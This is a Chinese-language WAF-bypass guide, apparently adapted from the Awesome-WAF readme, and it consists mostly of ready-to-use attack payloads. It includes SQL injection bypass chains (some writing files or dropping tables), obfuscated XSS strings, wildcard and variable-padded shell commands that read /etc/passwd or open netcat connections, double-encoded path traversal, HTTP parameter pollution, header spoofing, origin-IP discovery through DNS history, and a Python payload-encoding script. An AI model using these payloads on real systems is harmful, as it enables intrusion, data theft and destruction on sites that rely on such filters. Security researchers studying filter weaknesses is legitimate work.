Awesome-WAF readme - 绕过waf 手法指南
字数 6156 2025-08-25 22:58:28
WAF绕过技术全面指南
1. 模糊测试与爆破技术
1.1 常用字典资源
- Seclists/Fuzzing: 包含各种模糊测试payload
- Fuzz-DB/Attack: 专业攻击payload集合
- 其他Payloads: 使用时需注意可能触发IP封禁
2. 正则表达式绕过技术
2.1 黑名单检测绕过案例(SQL注入)
逐步绕过示例:
-
基础过滤:
and,or,union- 被拦截:
union select user, password from users - 绕过:
1 || (select user from users where user_id = 1) = 'admin'
- 被拦截:
-
增加过滤:
where- 绕过:
1 || (select user from users limit 1) = 'admin'
- 绕过:
-
增加过滤:
limit- 绕过:
1 || (select user from users group by user_id having user_id = 1) = 'admin'
- 绕过:
-
增加过滤:
group by- 绕过:
1 || (select substr(group_concat(user_id),1,1) user from users ) = 1
- 绕过:
-
增加过滤:
select- 绕过选项:
1 || 1 = 1 into outfile 'result.txt'1 || substr(user,1,1) = 'a'
- 绕过选项:
-
增加过滤: 单引号
'- 绕过选项:
1 || user_id is not null1 || substr(user,1,1) = 0x61(十六进制)1 || substr(user,1,1) = unhex(61)
- 绕过选项:
-
增加过滤:
hex- 绕过:
1 || substr(user,1,1) = lower(conv(11,10,36))
- 绕过:
-
增加过滤:
substr- 绕过:
1 || lpad(user,7,1)
- 绕过:
-
增加过滤: 空格
- 绕过:
1%0b||%0blpad(user,7,1)(使用垂直制表符替代空格)
- 绕过:
3. 混淆与编码技术
3.1 大小写混淆
- 示例:
<ScRipT>alert()</sCRipT> - 示例:
sELecT * FrOm all_tables whERe OWNER = 'DATABASE_NAME'
3.2 URL编码
- 示例:
%3CsvG%2Fx%3D%22%3E%22%2FoNloaD%3Dconfirm%28%29%2F%2F - 示例:
uNIoN%28sEleCT+1%2C2%2C3%2C4%2C5%2C6%2C7%2C8%2C9%2C10%2C11%2C12%29
3.3 Unicode编码
- 示例:
<marquee onstart=\u0070r\u06f\u006dpt()> - 示例:
/?redir=http://google。com(Unicode点替代) - 示例:
<marquee loop=1 onfinish=alert︵︵1)>x
3.4 HTML实体编码
- 通用形式:
"><img src=x onerror=confirm()> - 数字引用:
"><img src=x onerror=confirm()>
3.5 混合编码
- 示例:
<A HREF="h tt p://6 6.000146.0x7.147/">XSS</A>
3.6 双重URL编码
- 示例:
http://victim/cgi/%252E%252E%252F%252E%252E%252Fwinnt/system32/cmd.exe?/c+dir+c:\ - 示例:
%253Cscript%253Ealert()%253C%252Fscript%253E
3.7 通配符使用(Linux命令注入)
- 示例:
/???/??t /???/??ss??→/bin/cat /etc/passwd - 示例:
/???/n? 2130706433 1337→/bin/nc 127.0.0.1 1337
3.8 动态payload生成
- 示例:
<script>eval('al'+'er'+'t()')</script> - 示例:
/bi'n'''/c''at' /e'tc'/pa''ss'wd(Bash路径拼接)
3.9 垃圾字符插入
- 示例:
<script>+-+-1-+-+alert(1)</script> - 示例:
<BODY onload!#$%&()*~+-_.,:;?@[/|\]^=alert()>` - 示例:
<a aa aaa aaaa aaaaa aaaaaa aaaaaaa aaaaaaaa aaaaaaaaaa href=javascript:alert(1)>ClickMe
3.10 换行符插入
- 示例:
<iframe src="%0Aj%0Aa%0Av%0Aa%0As%0Ac%0Ar%0Ai%0Ap%0At%0A%3Aconfirm(0)">
3.11 未定义变量(Bash/Perl)
- 级别1:
/bin/cat$u /etc/passwd$u - 级别2:
$u/bin$u/cat$u $u/etc$u/passwd$u - 级别3:
$aaaaaa/bin$bbbbbb/cat$ccccccc $dddddd/etc$eeeeeee/passwd$fffffff - 复杂示例:
$sdijchkd/???$sdjhskdjh/??t$skdjfnskdj $sdofhsdhjs/???$osdihdhsdj/??ss??$skdjhsiudf
3.12 Tab键和换行符替代空格
- 示例:
<IMG SRC=" javascript:alert();"> - 示例:
http://test.com/test?id=1%09union%23%0A%0Dselect%2D%2D%0A%0D1,2,3 - 示例:
<iframe src=j a v a s c r i p t:a l e r t %28 1 %29></iframe>
3.13 Token中断技术
- SQL注入示例:
?id=123);DROP TABLE users -- - 文件导出示例:
?id=1337) INTO OUTFILE 'xxx' --
3.14 其他格式混淆
IBM037编码示例(IIS):
原始: id2='union all select * from users--
混淆: %89%84%F2=%7D%A4%95%89%96%95%40%81%93%93%40%A2%85%93%85%83%A3%40%5C%40%86%99%96%94%40%A4%A2%85%99%A2%60%60
编码支持表:
| 环境 | 支持编码 |
|---|---|
| Nginx, uWSGI-Django-Python3 | IBM037, IBM500, cp875, IBM1026, IBM273 |
| Nginx, uWSGI-Django-Python2 | IBM037, IBM500, cp875, IBM1026, utf-16, utf-32, utf-32BE, IBM424 |
| Apache-TOMCAT8-JVM1.8-JSP | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01140-49, utf-16/32, IBM273-297, IBM420/424, cp1025 |
| IIS6,7.5,8,10-ASPX | IBM037, IBM500, IBM870, cp875, IBM1026, IBM01047, IBM01140-49, utf-16/32, IBM273-297, IBM420/423/424, cp1025 |
4. HTTP参数污染技术
4.1 服务器参数解析差异
| 环境 | 参数解析方式 | 示例 |
|---|---|---|
| ASP/IIS | 用逗号连接 | par1=val1,val2 |
| JSP/Servlet(Apache Tomcat) | 取第一个参数 | par1=val1 |
| PHP/Zeus | 取最后一个参数 | par1=val2 |
| PHP/Apache | 取最后一个参数 | par1=val2 |
| IBM Lotus Domino | 取第一个参数 | par1=val1 |
| IBM HTTP Server | 取最后一个参数 | par1=val2 |
| mod_perl/libapeq2(Apache) | 取第一个参数 | par1=val1 |
| Oracle AS 10G | 取第一个参数 | par1=val1 |
| Perl CGI/Apache | 取第一个参数 | par1=val1 |
| Python/Zope | 取第一个参数 | par1=val1 |
| IceWarp | 返回列表 | ['val1','val2'] |
| AXIS 2400 | 取最后一个参数 | par1=val2 |
| DBMan | 用双波浪号连接 | par1=val1~~val2 |
| mod-wsgi(Python)/Apache | 返回数组引用 | ARRAY(0x8b9058c) |
5. 浏览器特性利用
5.1 字符集漏洞
- 修改Charset头为UTF-32等高阶Unicode
- 示例请求:
GET /page.php?p=∀㸀㸀㸀㰀㰀㰀script㸀㸀㸀alert(1)㰀㰀㰀/script㸀㸀㸀 HTTP/1.1 Host: site.com Accept-Charset:utf-32; q=0.5 - URL编码payload:
%E2%88%80%E3%B8%80%E3%B0%80script%E3%B8%80alert(1)%E3%B0%80/script%E3%B8%80
5.2 空字节利用
- 示例:
<scri%00pt>alert(1);</scri%00pt> - 示例:
<s%00c%00r%00%00ip%00t>confirm(0);</s%00c%00r%00%00ip%00t> - 示例:
<a href="ja0x09vas0x0A0x0Dcript:alert(1)">clickme</a> - 示例:
<a 0x00 href="javascript:alert(1)">clickme</a>
5.3 解析错误利用
- IE7:
<// style=x:expression\28write(1)\29> - IE9:
<!--[if]><script>alert(1)</script --> - IE7:
<?xml-stylesheet type="text/css"?><root style="x:expression(write(1))"/> - IE7:
<%div%20style=xss:expression(prompt(1))>
5.4 Unicode分隔符
各浏览器分隔符差异:
| 浏览器 | 分隔符(十六进制) |
|---|---|
| IE | 0x09, 0x0B, 0x0C, 0x20, 0x3B |
| Chrome | 0x09, 0x20, 0x28, 0x2C, 0x3B |
| Safari | 0x2C, 0x3B |
| Firefox | 0x09, 0x20, 0x28, 0x2C, 0x3B |
| Opera | 0x09, 0x20, 0x2C, 0x3B |
| Android | 0x09, 0x20, 0x28, 0x2C, 0x3B |
示例: <a/onmouseover[\x0b]=location='\x6A\x61\x76\x61\x73\x63\x72\x69\x70\x74\x3A\x61\x6C\x65\x72\x74\x28\x30\x29\x3B'>pwn3d
6. 非常用语法结构
6.1 被忽略的JavaScript关键字
- 全局对象:
window,parent,this,self - 事件属性:
onwheel,ontoggle,onfilterchange,onbeforescriptexecute,ondragstart,onauxclick,onpointerover,srcdoc
示例:
<script>window['alert'](0)</script>
<script>parent['alert'](1)</script>
<script>self['alert'](2)</script>
6.2 被忽略的SQL操作符
lpad: 左填充字符串lpad('tech', 7); → ' tech' lpad('tech', 8, '0'); → '0000tech'field: 返回字符串在列表中的位置FIELD('ej', 'Hej', 'ej', 'Heja', 'hej', 'foo') → 2bit_count: 计算二进制中1的个数BIT_COUNT(10); → 2 (因为10的二进制是1010)
示例payloads:
SELECT if(LPAD(' ',4,version())='5.7',sleep(5),null);
1%0b||%0bLPAD(USER,7,1)
6.3 JavaScript替代编码
- JSFuck: 仅用6个字符(
[]()!+)编写JavaScript - JJEncode: 将JS代码编码为仅使用字母、数字和少数符号的形式
- XChars.JS: 使用各种字符编码混淆JS代码
7. SSL/TLS密码滥用
7.1 绕过步骤
- 识别WAF支持的SSL/TLS版本和密码套件
- 识别服务器支持的SSL/TLS版本和密码套件
- 找出服务器支持但WAF不支持的组合
7.2 工具
abuse-ssl-bypass-waf: 自动化测试工具SSLScan: 扫描支持的SSL/TLS配置
8. DNS记录滥用
8.1 查找真实源站
- 使用历史DNS记录查找绕过云WAF的真实IP
- 在线资源:
- IP历史记录查询
- DNS Trails
8.2 工具
bypass-firewalls-by-DNS-history.sh -d <target> --checkall
9. 请求头欺骗
9.1 常用欺骗头
X-Originating-IP: 127.0.0.1
X-Forwarded-For: 127.0.0.1
X-Remote-IP: 127.0.0.1
X-Remote-Addr: 127.0.0.1
X-Client-IP: 127.0.0.1
10. Google Dorks方法
10.1 搜索语法
- 常规搜索:
+<wafname> waf bypass - 特定版本:
"<wafname> <version>" (bypass|exploit) - 特定类型:
"<wafname>" +<bypass type> (bypass|exploit) - Exploit DB:
site:exploit-db.com +<wafname> bypass - 0Day Inject0r:
site:0day.today +<wafname> <type> (bypass|exploit) - Twitter:
site:twitter.com +<wafname> bypass - Pastebin:
site:pastebin.com +<wafname> bypass
11. 编码转换工具
Python示例脚本:
import urllib.parse, sys
from argparse import ArgumentParser
def paramEncode(params="", charset="", encodeEqualSign=False, encodeAmpersand=False, urlDecodeInput=True, urlEncodeOutput=True):
result = ""
equalSign = "="
ampersand = "&"
if '=' and '&' in params:
if encodeEqualSign:
equalSign = equalSign.encode(charset)
if encodeAmpersand:
ampersand = ampersand.encode(charset)
params_list = params.split("&")
for param_pair in params_list:
param, value = param_pair.split("=")
if urlDecodeInput:
param = urllib.parse.unquote(param)
value = urllib.parse.unquote(value)
param = param.encode(charset)
value = value.encode(charset)
if urlEncodeOutput:
param = urllib.parse.quote_plus(param)
value = urllib.parse.quote_plus(value)
if result:
result += ampersand
result += param + equalSign + value
else:
if urlDecodeInput:
params = urllib.parse.unquote(params)
result = params.encode(charset)
if urlEncodeOutput:
result = urllib.parse.quote_plus(result)
return result
if __name__ == '__main__':
lackofart = '''
OBFUSCATOR
'''
print(lackofart)
parser = ArgumentParser('python3 obfu.py')
parser._action_groups.pop()
required = parser.add_argument_group('Required Arguments')
optional = parser.add_argument_group('Optional Arguments')
required.add_argument('-s', '--str', help='String to obfuscate', dest='str')
required.add_argument('-e', '--enc', help='Encoding type. eg: ibm037, utf16, etc', dest='enc')
optional.add_argument('-ueo', help='URL Encode Output', dest='ueo', action='store_true')
optional.add_argument('-udi', help='URL Decode Input', dest='udi', action='store_true')
args = parser.parse_args()
if not len(sys.argv) > 1:
parser.print_help()
quit()
print('Input: %s' % (args.str))
print('Output: %s' % (paramEncode(params=args.str, charset=args.enc, urlDecodeInput=args.udi, urlEncodeOutput=args.ueo)))